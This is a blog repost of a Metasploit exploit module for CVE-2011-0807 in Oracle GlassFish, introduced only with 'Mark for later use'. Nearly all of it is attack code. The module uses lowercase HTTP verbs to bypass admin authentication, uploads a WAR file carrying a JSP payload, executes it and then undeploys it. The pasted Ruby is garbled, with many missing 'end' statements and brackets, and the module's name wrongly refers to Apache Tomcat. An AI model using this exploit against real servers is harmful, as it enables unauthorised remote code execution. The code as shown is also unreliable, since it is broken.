天天看點

cve_2011_0807_glassfish_auth_bypass_and_deploy

Mark for later use.

##  

# $Id: $  

# This file is part of the Metasploit Framework and may be subject to  

# redistribution and commercial restrictions. Please see the Metasploit  

# Framework web site for more information on licensing and terms of use.  

# http://metasploit.com/framework/  

###  

require 'msf/core' 

class Metasploit3 < Msf::Exploit::Remote  

    Rank = ExcellentRanking  

    HttpFingerprint = { :pattern => [ /GlassFish/ ] }  

    include Msf::Exploit::Remote::HttpClient  

    def initialize(info = {})  

        super(update_info(info,  

            'Name'        => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',  

            'Description'    => %q{  

                    This module can be used to execute a payload on Oracle Glassfish servers that  

                have an exposed administration application. The payload is uploaded as a WAR archive  

                containing a jsp application.  

                The module uses the authentication bypass identified by CVE-2011-0807 to archive  

                code execution. To exploit the auth bypass http verbs in lowercase are used.  

                The module has been tested and confirmed to work against:  

                Sun GlassFish Enterprise Server v3 for Windows, English  

                Oracle GlassFish Server 3.0.1 for Windows, English  

                Oracle GlassFish Server 3.0.1 Open Source Edition for Windows, English  

                Oracle GlassFish Server 3.0.1 Open Source Edition for Linux, English  

            },  

            'Author'      =>  

                    [  

                            'Jason Bowes', #original discovery  

                            'juan vazquez' # metasploit module  

                    ],  

            'License'        => MSF_LICENSE,  

            'Version'     => '$Revision: $',  

            'References'  =>  

                [  

                    [ 'CVE', '2011-0807' ],  

                    [ 'OSVDB', '71948' ],  

                    [ 'BID', '47438' ],  

                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-137/' ]  

                ],  

            'Platform'    => [ 'java', 'win', 'linux' ],  

            'Targets'     =>  

                    #  

                    # detection using the auth bypass  

                    [ 'Automatic', { } ],  

                    # it works always, at least over linux and windows on x86  

                    [ 'Java Universal',  

                        {  

                            'Arch' => ARCH_JAVA,  

                            'Platform' => 'java' 

                        },  

                    # Platform specific targets  

                    [ 'Windows x86',  

                            'Arch' => ARCH_X86,  

                            'Platform' => 'win' 

                    [ 'Linux x86',  

                            'Platform' => 'linux' 

            'DefaultTarget'  => 1,  

            'DisclosureDate' => 'Apr 19 2011'))  

        register_options(  

            [  

                Opt::RPORT(4848), # Administration Web Interface Port  

                OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),  

                OptString.new('PATH', [ true,  "The URI path of the manager app", '/']),  

                OptPort.new('GLASSFISH_ADMIN_PORT', [true, 'The Glassfish Web Administration Port', 4848]),  

                OptPort.new('GLASSFISH_SERVER_PORT', [true, 'The Glassfish Application Server Port', 8080])  

            ], self.class)  

    end 

    def auto_target  

        print_status("Attempting to automatically select a target...")  

        res = query_serverinfo()  

        return nil if not res  

        plat = detect_platform(res.body)  

        arch = detect_arch(res.body)  

        # No arch or platform found?  

        if (not arch or not plat)  

            return nil 

        end 

        # see if we have a match  

        targets.each { |t|  

            if (t['Platform'] == plat) and (t['Arch'] == arch)  

                return t  

            end 

        }  

        # no matching target found  

        return nil 

    def exploit  

        datastore['RPORT'] = datastore['GLASSFISH_ADMIN_PORT']  

        mytarget = target  

        if (target.name =~ /Automatic/)  

            mytarget = auto_target  

            if (not mytarget)  

                raise RuntimeError, "Unable to automatically select a target" 

            print_status("Automatically selected target \"#{mytarget.name}\"")  

        else 

            print_status("Using manually select target \"#{mytarget.name}\"")  

        # We must regenerate the payload in case our auto-magic changed something.  

        p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)  

        # Generate the WAR containing the EXE containing the payload  

        jsp_name = rand_text_alphanumeric(4+rand(32-4))  

        app_base = rand_text_alphanumeric(4+rand(32-4))  

        # Generate the WAR containing the payload  

        war = p.encoded_war({  

                :app_name => app_base,  

                :jsp_name => jsp_name,  

                :arch => mytarget.arch,  

                :platform => mytarget.platform  

            }).to_s  

        #  

        # UPLOAD  

        print_status("Getting Information to upload...")  

        viewstate, jsession, typefield, status_checkbox = get_upload_info  

        if (not viewstate)  

            raise RuntimeError, "Unable to get ViewState" 

        if (not jsession)  

            raise RuntimeError, "Unable to get JSESSIONID" 

        if (not typefield)  

                    raise RuntimeError, "Unable to get the type field" 

        if (not status_checkbox)  

            raise RuntimeError, "Unable to get the status checkbox" 

        print_status("ViewState: #{viewstate}") if datastore['VERBOSE']  

        print_status("JSESSIONID: #{jsession}") if datastore['VERBOSE']  

        print_status("type field: #{typefield}") if datastore['VERBOSE']  

        print_status("status checkbox: #{status_checkbox}") if datastore['VERBOSE']  

        boundary = rand_text_alphanumeric(15)  

        data = "--#{boundary}\r\n" 

        data << "Content-Disposition: form-data; name=\"uploadRdBtn\"\r\n\r\n" 

        data << "client\r\n" 

        data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; filename=\"#{app_base}.war\"\r\n" 

        data << "Content-Type: application/octet-stream\r\n\r\n" 

        data << war  

        data << "\r\n" 

        data << "--#{boundary}\r\n" 

        data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam\"\r\n\r\n" 

        data << "form:sheet1:section1:prop1:fileupload\r\n" 

        data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:extension\"\r\n\r\n" 

        data << ".war\r\n" 

        data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:action\"\r\n\r\n" 

        data << "Content-Disposition: form-data; name=\"#{typefield}\"\r\n\r\n" 

        data << "war\r\n" 

        data << "Content-Disposition: form-data; name=\"form:war:psection:cxp:ctx\"\r\n\r\n" 

        data << "#{app_base}\r\n" 

        data << "Content-Disposition: form-data; name=\"form:war:psection:nameProp:appName\"\r\n\r\n" 

        data << "Content-Disposition: form-data; name=\"form:war:psection:vsProp:vs\"\r\n\r\n" 

        data << "Content-Disposition: form-data; name=\"#{status_checkbox}\"\r\n\r\n" 

        data << "true\r\n" 

        data << "Content-Disposition: form-data; name=\"form:war:psection:librariesProp:library\"\r\n\r\n" 

        data << "Content-Disposition: form-data; name=\"form:war:psection:descriptionProp:description\"\r\n\r\n" 

        data << "Content-Disposition: form-data; name=\"form_hidden\"\r\n\r\n" 

        data << "form_hidden\r\n" 

        data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n" 

        data << "#{viewstate}\r\n" 

        data << "--#{boundary}--" 

        print_status("Uploading #{war.length} bytes as #{app_base}.war ...")  

        res = send_request_raw({  

            'uri'    => datastore['PATH'] + '/common/applications/uploadFrame.jsf?form:title2:bottomButtons:uploadButton=Processing...&bare=false',  

            'method'  => 'post', # lowercase for auth bypass  

            'data'  => data,  

            'headers' =>  

            {  

                'Cookie' => "JSESSIONID=#{jsession}",  

                'Content-Type'   => 'multipart/form-data; boundary=' + boundary,  

                'Content-Length' => data.length  

            }  

        }, 20)  

        if (! res)  

            raise RuntimeError, "Upload failed [No Response]" 

        if (res.code != 302)  

            print_status(res.body) if datastore['VERBOSE']  

            raise RuntimeError, "Upload failed [#{res.code} #{res.message}]" 

        # EXECUTE  

        datastore['RPORT'] = datastore['GLASSFISH_SERVER_PORT']  

        jsp_path = '/' + app_base + '/' + jsp_name + '.jsp' 

        print_status("Executing #{jsp_path}...")  

        res = send_request_cgi({  

            'uri'          => jsp_path,  

            'method'       => 'GET' 

            print_error("Execution failed on #{app_base} [No Response]")  

        elsif (res.code < 200 or res.code >= 300)  

            print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")  

        # DELETE  

        print_status("Getting info to undeploy...")  

        viewstate, jsession, entry = get_delete_info(app_base)  

        if (not entry)  

            raise RuntimeError, "Unable to get entry to delete" 

        print_status("entry: #{entry}") if datastore['VERBOSE']  

        data =  'propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=' 

        data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false' 

        data << '&' + Rex::Text.uri_encode(entry) + '=true' 

        data << '&propertyForm%3AhelpKey=ref-applications.html' 

        data << '&propertyForm_hidden=propertyForm_hidden' 

        data << '&javax.faces.ViewState=' + Rex::Text.uri_encode(viewstate)  

        data << '&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1' 

        data << '&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1' 

        data << '&javax.faces.partial.execute=%40all' 

        data << '&javax.faces.partial.render=%40all' 

        data << '&bare=true' 

        data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1' 

        data << '&javax.faces.partial.ajax=true' 

        path_tmp = datastore['PATH'] + "/common/applications/applications.jsf" 

        print_status("Undeploying #{app_base} ...")  

            'uri'          => path_tmp,  

            'method'       => 'post', # lowercase for auth bypass  

                {  

                    'Cookie' => "JSESSIONID=#{jsession}" 

                },  

            'data' => data  

            print_error("WARNING: Undeployment failed on #{path} [No Response]")  

            print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")  

        handler  

    def query_serverinfo()  

        path = datastore['PATH'] + '/common/appServer/jvmReport.jsf' 

        res = send_request_raw(  

                'uri'   => path,  

                'method' => 'get' # lowercase for auth bypass  

            }, 20)  

        if (not res) or (res.code != 200)  

            print_error("Failed: Error requesting #{path}")  

        print_status(res.body) if datastore['VERBOSE']  

        return res  

    def detect_platform(body = nil)  

        if not body  

            res = query_serverinfo()  

            return nil if not res  

            body = res.body  

        body.each_line { |ln|  

            ln.chomp!  

            case ln  

            when /os\.name /  

                os = ln.split('=')[1]  

                case os  

                when /Windows/  

                    return 'win' 

                when /Linux/  

                    return 'linux' 

                end 

    def detect_arch(body)  

            when /os\.arch /  

                ar = ln.split('=')[1].strip  

                case ar  

                when 'x86', 'i386'# 'i686' # only x86 (windows), i386 (linux) tested  

                    return ARCH_X86  

=begin 

                when 'x86_64', 'amd64' # not tested  

=end 

    def get_upload_info()  

        path = datastore['PATH'] + '/common/applications/uploadFrame.jsf' 

        jsession = res.headers['Set-Cookie'].scan(/JSESSIONID=(.*);/)[0][0]  

        viewstate = res.body.scan(/input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="(.*)" autocomplete="off"/)[0][0]  

        typefield = res.body.scan(/select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/)[0][0]  

        status_checkbox = res.body.scan(/input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/)[0][0]  

        if (viewstate.nil?)  

            print_error("Failed: Error getting ViewState")  

        if (jsession.nil?)  

            print_error("Failed: Error getting JSESSIONID")  

        if (typefield.nil?)  

            print_error("Failed: Error getting the type field")  

        if (status_checkbox.nil?)  

            print_error("Failed: Error getting the status checkbox")  

        return viewstate, jsession, typefield, status_checkbox  

    def get_delete_info(app='')  

        path = datastore['PATH'] + '/common/applications/applications.jsf?bare=true' 

        entry = nil 

        results = res.body.scan(/<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/)  

        results.each { |hit|  

            if hit[1].eql?(app)  

                entry = hit[0]  

                entry << "col0:select" 

        if (entry.nil?)  

            print_error("Failed: Error getting the entry to delete")  

        return viewstate, jsession, entry  

end 

本文轉hackfreer51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/767360,如需轉載請自行聯系原作者